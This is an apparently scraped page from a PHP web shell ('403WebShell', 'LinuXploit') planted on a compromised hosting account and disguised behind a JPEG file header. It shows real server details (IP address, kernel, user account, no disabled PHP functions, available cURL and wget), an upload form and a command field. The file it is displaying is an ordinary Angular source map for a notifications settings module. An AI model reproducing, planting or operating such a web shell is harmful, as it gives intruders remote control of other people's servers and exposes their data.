����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.141.107.132
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/public/client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/public/client/72.3e11130b591f617c14e0.js.map
{"version":3,"sources":["./src/common/notifications/notification-subscriptions/notification-subscriptions.service.ts","./src/common/notifications/notification-subscriptions/notification-subscriptions.component.html","./src/common/notifications/notification-subscriptions/notification-subscriptions.component.ts","./src/common/notifications/notification-subscriptions/notification-subscriptions-resolver.service.ts","./src/common/shared/pagination-widget/pagination-widget.component.html","./src/common/shared/pagination-widget/pagination-widget.component.ts","./src/common/notifications/notifications-routing.module.ts","./src/common/notifications/notification-page/notification-page.component.ts","./src/common/notifications/notification-page/notification-page.component.html","./src/common/shared/pagination-widget/pagination-widget.module.ts","./src/common/notifications/notifications.module.ts"],"names":["NotificationSubscriptionsService","http","userId","this","get","selections","put","NotificationSubscriptionsComponent","route","api","currentUser","toast","cd","settings","availableChannels","loading$","BehaviorSubject","supportsBrowserNotifications","window","form","data","subscribe","groupedNotifications","grouped_notifications","available_channels","initialUserSelections","user_selections","forEach","group","notifications","s","addNotifFormField","notif_id","notifId","channelGroup","channel","initial","find","channels","control","value","disabled","Notification","permission","valueChanges","pipe","filter","isChecked","_","open","setValue","emitEvent","markForCheck","requestPermission","then","addControl","channelName","newValue","allRowsSelectedFor","Object","values","controls","c","markAsDirty","every","some","next","payload","getPayload","updateUserSubscriptions","finalize","markAsPristine","entries","dirty","map","saveSettings","NotificationSubscriptionsResolverService","router","subscriptions","state","getAll","catchError","navigate","E","mergeMap","response","of","PaginationWidgetComponent","pageChanged","numberOfPages","last_page","iterator","Array","from","keys","n","currentPage","current_page","page","queryParams","replaceUrl","newPage","selectPage","prevPage","nextPage","routes","path","component","NotificationPageComponent","breakpoints","pagination$","loadPage","snapshot","load","perPage","pagination","markedNotif","id","read_at","markAsRead","resolve","permissions","NotificationsRoutingModule","PaginationWidgetModule","NotificationsModule"],"mappings":"qNAgBO,IAAMA,EAAb,MAAM,MAAOA,EACT,YAAoBC,GAAA,KAAAA,OAEb,OAAOC,GACV,OAAOC,KAAKF,KAAKG,IAAI,iBAAiBF,mBAGnC,wBAAwBA,EAAgBG,GAC3C,OAAOF,KAAKF,KAAKK,IAAI,iBAAiBJ,kBAAwB,CAACG,gBARvE,O,sCAAaL,GAAgC,a,0BAAhCA,EAAgC,QAAhCA,EAAgC,qBAF7B,SAEHA,GAAb,G,iHCRoB,kBACI,kBAAgC,SAAe,QAC/C,2BAAc,gGAAmD,OAIjE,QACJ,Q,uCANoC,kBAElB,kDAA2C,mEAA3C,CAA2C,4D,yBAJjE,SACI,wBAQJ,S,sBARwD,+C,yBAapD,kBACI,2BACJ,S,yBADkB,qC,yBAHtB,kBACI,kBAA+B,SAAqB,QACpD,wBAGJ,S,6CAL0F,qBAAyB,kCAChF,uBACqB,+C,yBAjBhE,iBACI,iBACI,iBAAsC,SAAoB,QAC1D,gCAUJ,QACA,iBACI,wBAMJ,QACJ,S,6CApB8C,6BACvB,yBAWd,mCACgD,2CCE1D,IAAMO,EAAb,MAAM,MAAOA,EAQT,YACYC,EACAC,EACAC,EACAC,EACAC,EACDC,GALC,KAAAL,QACA,KAAAC,MACA,KAAAC,cACA,KAAAC,QACA,KAAAC,KACD,KAAAC,WAZJ,KAAAC,kBAA8B,GAE9B,KAAAC,SAAW,IAAIC,EAAA,GAAyB,GACxC,KAAAC,6BAAgC,iBAAkBC,OAClD,KAAAC,KAAO,IAAI,KAAU,IAW5B,WACIhB,KAAKK,MAAMY,KAA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AYD,MAAQ,GAGnD,SAASA,GACZ/F,KAAK0B,cAAcoF,KAAK,CAACf,OAAMgB,QAAS,KACnC7F,UAAUgE,IACPlF,KAAK2G,YAAY5C,KAAKmB,EAAS8B,cAIpC,WAAWC,GACOjH,KAAK2G,YAAYtE,MAAMpB,KAAKiB,KAAK0D,GAAKA,EAAEsB,KAAOD,EAAYC,IACnEC,QAAUF,EAAYE,SAvB3C,O,sCAAaV,GAAyB,+C,wBAAzBA,EAAyB,+M,GAAA,MCftC,6BACA,iBACI,+BAA2G,wCAAgB,EAAAW,WAAA,K,kCAAoB,QAC/I,+BAAkG,uCAAe,EAAAR,SAAA,K,kCAAkB,QACvI,S,WAJiB,qEAEM,+EAA6C,8CAC7C,sDAAkC,mD,iSDY5CH,GAAb,IDHI,CACIF,KAAM,WACNC,UAAWpG,EACXiH,QAAS,CAAC/G,IAAKmE,GACfxD,KAAM,CAACqG,YAAa,CAAC,6BAQtB,IAAMC,EAAb,MAAM,MAAOA,GAAb,O,sCAAaA,I,wBAAAA,I,4BAHA,CAAC,cAAsBjB,IACtB,QAEDiB,GAAb,G,2CGJO,IAAMC,EAAb,MAAM,MAAOA,GAAb,O,sCAAaA,I,wBAAAA,I,4BATA,CACL,KACA,KACA,QAMKA,GAAb,GCgBaC,EAAb,MAAM,MAAOA,GAAb,O,sCAAaA,I,wBAAAA,I,4BAhBA,CACL,KACA,KACA,KACAF,EACA,IACA,IACA,IACAC,EACA,IAGA,KACA,SAGKC,GAAb","file":"72.3e11130b591f617c14e0.js","sourcesContent":["import {Injectable} from '@angular/core';\nimport {AppHttpClient} from '@common/core/http/app-http-client.service';\nimport {BackendResponse} from '@common/core/types/backend-response';\nimport {\n    NotificationSubscriptionGroup,\n    NotificationSubscriptionsResponse\n} from '@common/notifications/notification-subscriptions/notification-subscription';\n\nexport type UpdateNotificationSubscriptionsPayload = {\n    notif_id: string;\n    channels: {[key: string]: boolean};\n}[];\n\n@Injectable({\n    providedIn: 'root'\n})\nexport class NotificationSubscriptionsService {\n    constructor(private http: AppHttpClient) {}\n\n    public getAll(userId: number): BackendResponse<NotificationSubscriptionsResponse> {\n        return this.http.get(`notifications/${userId}/subscriptions`);\n    }\n\n    public updateUserSubscriptions(userId: number, selections: UpdateNotificationSubscriptionsPayload): BackendResponse<void> {\n        return this.http.put(`notifications/${userId}/subscriptions`, {selections});\n    }\n}\n","<material-navbar [menuPosition]=\"settings.get('vebto.navbar.defaultPosition')\" class=\"box-shadow\"></material-navbar>\n\n<div class=\"be-container\">\n    <form class=\"table material-panel\" (ngSubmit)=\"saveSettings()\">\n        <div class=\"setting-group\" *ngFor=\"let group of groupedNotifications; let first = first\">\n            <div class=\"row\">\n                <div class=\"name-column strong\" trans>{{group.group_name}}</div>\n                <ng-container *ngIf=\"first\">\n                    <div class=\"channel-column\" *ngFor=\"let channelName of availableChannels\">\n                        <div class=\"channel-name\" trans>{{channelName}}</div>\n                        <mat-checkbox (change)=\"$event ? toggleAllRowsFor(channelName) : null\"\n                                      [checked]=\"allRowsSelectedFor(channelName)\"\n                                      [indeterminate]=\"someRowsSelectedFor(channelName) && !allRowsSelectedFor(channelName)\"\n                                      [disabled]=\"channelName === 'browser' && !supportsBrowserNotifications\">\n                        </mat-checkbox>\n                    </div>\n                </ng-container>\n            </div>\n            <div [formGroup]=\"form\">\n                <div class=\"row indent\" *ngFor=\"let subscription of group.notifications; let last = last\" [class.no-border]=\"last\" [formGroupName]=\"subscription.notif_id\">\n                    <div class=\"name-column\" trans>{{subscription.name}}</div>\n                    <div class=\"channel-column\" *ngFor=\"let channelName of availableChannels\">\n                        <mat-checkbox [formControlName]=\"channelName\"></mat-checkbox>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n        <button mat-raised-button color=\"accent\" class=\"submit-button\" [disabled]=\"loading$ | async\" trans>Save Settings</button>\n    </form>\n</div>\n","import { ChangeDetectionStrategy, ChangeDetectorRef, Component, OnInit } from '@angular/core';\nimport { ActivatedRoute } from '@angular/router';\nimport {\n    NotificationSubscription, NotificationSubscriptionGroup, NotificationSubscriptionsResponse\n} from '@common/notifications/notification-subscriptions/notification-subscription';\nimport {\n    NotificationSubscriptionsService, UpdateNotificationSubscriptionsPayload\n} from '@common/notifications/notification-subscriptions/notification-subscriptions.service';\nimport { CurrentUser } from '@common/auth/current-user';\nimport { Toast } from '@common/core/ui/toast.service';\nimport { BehaviorSubject } from 'rxjs';\nimport { filter, finalize } from 'rxjs/operators';\nimport { Settings } from '@common/core/config/settings.service';\nimport { FormControl, FormGroup } from '@angular/forms';\n\n@Component({\n    selector: 'notification-subscriptions',\n    templateUrl: './notification-subscriptions.component.html',\n    styleUrls: ['./notification-subscriptions.component.scss'],\n    changeDetection: ChangeDetectionStrategy.OnPush\n})\nexport class NotificationSubscriptionsComponent implements OnInit {\n    public groupedNotifications: NotificationSubscriptionGroup[];\n    public availableChannels: string[] = [];\n    private initialUserSelections: NotificationSubscription[];\n    public loading$ = new BehaviorSubject<boolean>(false);\n    public supportsBrowserNotifications = ('Notification' in window);\n    public form = new FormGroup({});\n\n    constructor(\n        private route: ActivatedRoute,\n        private api: NotificationSubscriptionsService,\n        private currentUser: CurrentUser,\n        private toast: Toast,\n        private cd: ChangeDetectorRef,\n        public settings: Settings,\n    ) {}\n\n    ngOnInit() {\n        this.route.data.subscribe((data: {api: NotificationSubscriptionsResponse}) => {\n            this.groupedNotifications = data.api.grouped_notifications;\n            this.availableChannels = data.api.available_channels;\n            this.initialUserSelections = data.api.user_selections;\n            this.groupedNotifications.forEach(group => {\n                group.notifications.forEach(s => this.addNotifFormField(s.notif_id));\n            });\n        });\n    }\n\n    public addNotifFormField(notifId: string) {\n        const channelGroup = new FormGroup({});\n        this.availableChannels.forEach(channel => {\n            const initial = this.initialUserSelections.find(s => s.notif_id === notifId)?.channels[channel];\n            const disabled = channel === 'browser' && !this.supportsBrowserNotifications;\n            const control = new FormControl({value: initial ?? false, disabled});\n            if (channel === 'browser' && Notification.permission !== 'granted') {\n                control.valueChanges.pipe(filter(isChecked => isChecked)).subscribe(_ => {\n                    if (Notification.permission === 'denied') {\n                        this.toast.open('Notifications blocked. Please enable them for this site from browser settings.');\n                        control.setValue(false, {emitEvent: false});\n                        this.cd.markForCheck();\n                    } else {\n                        Notification.requestPermission().then(permission => {\n                            if (permission !== 'granted') {\n                                control.setValue(false, {emitEvent: false});\n                                this.cd.markForCheck();\n                            }\n                        });\n                    }\n                });\n            }\n            channelGroup.addControl(channel, control);\n        });\n        this.form.addControl(notifId, channelGroup);\n    }\n\n    public toggleAllRowsFor(channelName: string) {\n        const newValue = !this.allRowsSelectedFor(channelName);\n        Object.values(this.form.controls).forEach(c => {\n            (c as FormGroup).controls[channelName].setValue(newValue);\n            (c as FormGroup).controls[channelName].markAsDirty();\n        });\n    }\n\n    public allRowsSelectedFor(channelName: string): boolean {\n        return Object.values(this.form.controls).every(control => {\n            return (control as FormGroup).controls[channelName].value === true;\n        });\n    }\n\n    public someRowsSelectedFor(channelName: string): boolean {\n        return Object.values(this.form.controls).some(control => {\n            return (control as FormGroup).controls[channelName].value === true;\n        });\n    }\n\n    public saveSettings() {\n        this.loading$.next(true);\n        const payload = this.getPayload();\n        this.api.updateUserSubscriptions(this.currentUser.get('id'), payload)\n            .pipe(finalize(() => this.loading$.next(false)))\n            .subscribe(() => {\n                this.form.markAsPristine();\n                this.toast.open('Notification settings updated.');\n            });\n    }\n\n    private getPayload(): UpdateNotificationSubscriptionsPayload {\n        return Object.entries(this.form.controls)\n            .filter(([_, control]) => control.dirty)\n            .map(([notifId, control]) => {\n                return {notif_id: notifId, channels: control.value};\n            });\n    }\n}\n","import {Injectable} from '@angular/core';\nimport {ActivatedRouteSnapshot, Resolve, Router, RouterStateSnapshot} from '@angular/router';\nimport {catchError, mergeMap} from 'rxjs/operators';\nimport {EMPTY, Observable, of} from 'rxjs';\nimport {NotificationSubscriptionsService} from '@common/notifications/notification-subscriptions/notification-subscriptions.service';\nimport {CurrentUser} from '@common/auth/current-user';\nimport {NotificationSubscriptionsResponse} from '@common/notifications/notification-subscriptions/notification-subscription';\n\n@Injectable({\n    providedIn: 'root'\n})\nexport class NotificationSubscriptionsResolverService implements Resolve<Observable<NotificationSubscriptionsResponse>> {\n    constructor(\n        private router: Router,\n        private subscriptions: NotificationSubscriptionsService,\n        private currentUser: CurrentUser,\n    ) {}\n\n    resolve(route: ActivatedRouteSnapshot, state: RouterStateSnapshot): Observable<NotificationSubscriptionsResponse> {\n        return this.subscriptions.getAll(+this.currentUser.get('id')).pipe(\n            catchError(() => {\n                this.router.navigate(['/account/settings']);\n                return EMPTY; //\n            }),\n            mergeMap(response => {\n                if (response) {\n                    return of(response);\n                } else {\n                    this.router.navigate(['/account/settings']);\n                    return EMPTY;\n                }\n            })\n        );\n    }\n}\n","<ul class=\"page-numbers unstyled-list\">\n    <li>\n        <button type=\"button\" class=\"prev\" [disabled]=\"disabled\" (click)=\"prevPage()\" mat-button trans>Previous</button>\n    </li>\n    <li *ngFor=\"let page of iterator\">\n        <button type=\"button\" class=\"page-number-button\" [disabled]=\"disabled\" [class.active]=\"currentPage === page\" (click)=\"selectPage(page)\" mat-flat-button color=\"gray\">{{page}}</button>\n    </li>\n    <li>\n        <button type=\"button\" class=\"next\" [disabled]=\"disabled\" (click)=\"nextPage()\" mat-button trans>Next</button>\n    </li>\n</ul>\n","import {ChangeDetectionStrategy, Component, EventEmitter, HostBinding, Input, Output} from '@angular/core';\nimport {PaginationResponse} from '@common/core/types/pagination/pagination-response';\nimport {Router} from '@angular/router';\n\n@Component({\n    selector: 'pagination-widget',\n    templateUrl: './pagination-widget.component.html',\n    styleUrls: ['./pagination-widget.component.scss'],\n    changeDetection: ChangeDetectionStrategy.OnPush\n})\nexport class PaginationWidgetComponent {\n    private numberOfPages: number;\n    public iterator: number[];\n    public currentPage: number;\n\n    @HostBinding('class.hidden') get shouldHide() {\n        return this.numberOfPages < 2;\n    }\n\n    @Output() pageChanged = new EventEmitter<number>();\n\n    @Input() disabled = true;\n    @Input() set pagination(value: PaginationResponse<any>) {\n        if (value) {\n            this.numberOfPages = value.last_page > 10 ? 10 : value.last_page;\n            if (this.numberOfPages > 1) {\n                this.iterator = Array.from(Array(this.numberOfPages).keys()).map(n => n + 1);\n                this.currentPage = value.current_page;\n            }\n        }\n    }\n\n    constructor(private router: Router) {}\n\n    public selectPage(page: number) {\n        if (this.currentPage !== page) {\n            this.currentPage = page;\n            this.pageChanged.next(page);\n            this.router.navigate([], {queryParams: {page}, replaceUrl: true});\n        }\n    }\n\n    public nextPage() {\n        const newPage = this.currentPage + 1;\n        this.selectPage(newPage <= this.numberOfPages ? newPage : this.currentPage);\n    }\n\n    public prevPage() {\n        const newPage = this.currentPage - 1;\n        this.selectPage(newPage >= 1 ? newPage : this.currentPage);\n    }\n}\n","import {NgModule} from '@angular/core';\nimport {Routes, RouterModule} from '@angular/router';\nimport {NotificationSubscriptionsComponent} from './notification-subscriptions/notification-subscriptions.component';\nimport {NotificationSubscriptionsResolverService} from './notification-subscriptions/notification-subscriptions-resolver.service';\nimport {NotificationPageComponent} from '@common/notifications/notification-page/notification-page.component';\n\n\nconst routes: Routes = [\n    {\n        path: '',\n        component: NotificationPageComponent,\n    },\n    {\n        path: 'settings',\n        component: NotificationSubscriptionsComponent,\n        resolve: {api: NotificationSubscriptionsResolverService},\n        data: {permissions: ['notification.subscribe']},\n    }\n];\n\n@NgModule({\n    imports: [RouterModule.forChild(routes)],\n    exports: [RouterModule]\n})\nexport class NotificationsRoutingModule {\n}\n","import {Component, OnInit, ChangeDetectionStrategy} from '@angular/core';\nimport {Settings} from '@common/core/config/settings.service';\nimport {NotificationService} from '@common/notifications/notification-list/notification.service';\nimport {BreakpointsService} from '@common/core/ui/breakpoints.service';\nimport {ActivatedRoute} from '@angular/router';\nimport {BehaviorSubject} from 'rxjs';\nimport {PaginationResponse} from '@common/core/types/pagination/pagination-response';\nimport {DatabaseNotification} from '@common/notifications/database-notification';\n\n@Component({\n    selector: 'notification-page',\n    templateUrl: './notification-page.component.html',\n    styleUrls: ['./notification-page.component.scss'],\n    changeDetection: ChangeDetectionStrategy.OnPush\n})\nexport class NotificationPageComponent implements OnInit {\n    public pagination$ = new BehaviorSubject<PaginationResponse<DatabaseNotification>>(null);\n\n    constructor(\n        public settings: Settings,\n        public notifications: NotificationService,\n        public breakpoints: BreakpointsService,\n        private route: ActivatedRoute,\n    ) {}\n\n    ngOnInit() {\n        this.loadPage(this.route.snapshot.queryParams.page || 1);\n    }\n\n    public loadPage(page: number) {\n        this.notifications.load({page, perPage: 25})\n            .subscribe(response => {\n                this.pagination$.next(response.pagination);\n            });\n    }\n\n    public markAsRead(markedNotif: DatabaseNotification) {\n        const notification = this.pagination$.value.data.find(n => n.id === markedNotif.id);\n        notification.read_at = markedNotif.read_at;\n    }\n}\n","<material-navbar [menuPosition]=\"settings.get('vebto.navbar.defaultPosition')\"></material-navbar>\n<div class=\"be-container\">\n    <notification-list [notifications]=\"(pagination$ | async)?.data\" [compact]=\"breakpoints.isMobile$ | async\" (markedAsRead)=\"markAsRead($event)\"></notification-list>\n    <pagination-widget [pagination]=\"pagination$ | async\" [disabled]=\"notifications.loading$ | async\" (pageChanged)=\"loadPage($event)\"></pagination-widget>\n</div>\n","import {NgModule} from '@angular/core';\nimport {CommonModule} from '@angular/common';\nimport {PaginationWidgetComponent} from '@common/shared/pagination-widget/pagination-widget.component';\nimport { MatButtonModule } from '@angular/material/button';\nimport {TranslationsModule} from '@common/core/translations/translations.module';\n\n\n@NgModule({\n    declarations: [\n        PaginationWidgetComponent,\n    ],\n    imports: [\n        CommonModule,\n        MatButtonModule,\n        TranslationsModule,\n    ],\n    exports: [\n        PaginationWidgetComponent,\n    ]\n})\nexport class PaginationWidgetModule {\n}\n","import { NgModule } from '@angular/core';\nimport { CommonModule } from '@angular/common';\nimport { NotificationsRoutingModule } from './notifications-routing.module';\nimport { NotificationSubscriptionsComponent } from './notification-subscriptions/notification-subscriptions.component';\nimport { MatCheckboxModule } from '@angular/material/checkbox';\nimport { ImageOrIconModule } from '@common/core/ui/image-or-icon/image-or-icon.module';\nimport { NotificationListModule } from '@common/notifications/notification-list/notification-list.module';\nimport { MaterialNavbarModule } from '@common/core/ui/material-navbar/material-navbar.module';\nimport { NotificationPageComponent } from './notification-page/notification-page.component';\nimport {PaginationWidgetModule} from '@common/shared/pagination-widget/pagination-widget.module';\nimport {MatButtonModule} from '@angular/material/button';\nimport {FormsModule, ReactiveFormsModule} from '@angular/forms';\nimport { TranslationsModule } from '../core/translations/translations.module';\n\n\n@NgModule({\n    declarations: [\n        NotificationSubscriptionsComponent,\n        NotificationPageComponent,\n    ],\n    imports: [\n        CommonModule,\n        FormsModule,\n        ReactiveFormsModule,\n        NotificationsRoutingModule,\n        MaterialNavbarModule,\n        ImageOrIconModule,\n        NotificationListModule,\n        PaginationWidgetModule,\n        TranslationsModule,\n\n        // material\n        MatCheckboxModule,\n        MatButtonModule,\n    ]\n})\nexport class NotificationsModule {\n}\n"],"sourceRoot":"webpack:///"}

Youez - 2016 - github.com/yon3zu
LinuXploit